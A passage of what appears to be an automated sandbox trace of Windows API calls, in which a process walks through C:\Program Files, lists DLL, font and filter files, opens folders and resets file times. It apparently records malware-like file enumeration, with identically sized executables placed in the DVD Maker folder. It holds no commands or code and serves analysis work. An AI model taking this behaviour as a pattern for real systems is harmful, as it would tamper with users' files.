cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0244.980] GetLastError () returned 0x12 [0244.980] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.980] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0244.980] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.980] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.980] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0244.981] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0244.981] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0244.981] GetLastError () returned 0x12 [0244.981] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.981] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0244.981] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0244.981] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0244.981] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0244.981] GetLastError () returned 0x12 [0244.981] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0244.981] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0244.981] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0244.981] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0244.981] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0244.981] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="")) returned 1 [0244.981] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0244.981] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker" (normalized: "c:\\program files\\dvd maker"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.984] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker" (normalized: "c:\\program files\\dvd maker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0244.984] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0244.984] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x928858 [0244.984] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x928858, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x928858, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0244.984] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x928858) returned 1 [0244.984] NtClose (Handle=0x1a8) returned 0x0 [0244.984] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0244.984] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0244.984] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0244.984] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0244.985] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd520 [0244.989] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.989] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7236dfa0, ftCreationTime.dwHighDateTime=0x1d5aae1, ftLastAccessTime.dwLowDateTime=0x3eab23f0, ftLastAccessTime.dwHighDateTime=0x1d5757e, ftLastWriteTime.dwLowDateTime=0x3eab23f0, ftLastWriteTime.dwHighDateTime=0x1d5757e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ati.exe", cAlternateFileName="")) returned 1 [0244.989] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.989] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.989] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.989] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.989] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.989] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.989] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0244.989] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.989] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.989] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.989] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.989] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.989] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9207f0 [0244.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925f38 [0244.990] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.990] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5579e0, ftCreationTime.dwHighDateTime=0x1d574cc, ftLastAccessTime.dwLowDateTime=0xfeab9470, ftLastAccessTime.dwHighDateTime=0x1d573b5, ftLastWriteTime.dwLowDateTime=0xfeab9470, ftLastWriteTime.dwHighDateTime=0x1d573b5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0244.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.990] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.990] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.990] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.990] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0244.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.990] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.990] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920810 [0244.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925e28 [0244.990] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.990] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0244.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.990] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.990] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920830 [0244.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925fc0 [0244.990] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.991] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0244.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.991] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.991] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.991] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.991] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.991] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0244.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.991] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.991] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920850 [0244.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926048 [0244.991] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.991] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0244.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.991] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.991] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920870 [0244.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9260d0 [0244.991] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.992] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb99a750, ftCreationTime.dwHighDateTime=0x1d550a1, ftLastAccessTime.dwLowDateTime=0x95a455b0, ftLastAccessTime.dwHighDateTime=0x1d58e5f, ftLastWriteTime.dwLowDateTime=0x95a455b0, ftLastWriteTime.dwHighDateTime=0x1d58e5f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxslipstream.exe", cAlternateFileName="")) returned 1 [0244.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925eb0 [0244.992] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0244.992] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, 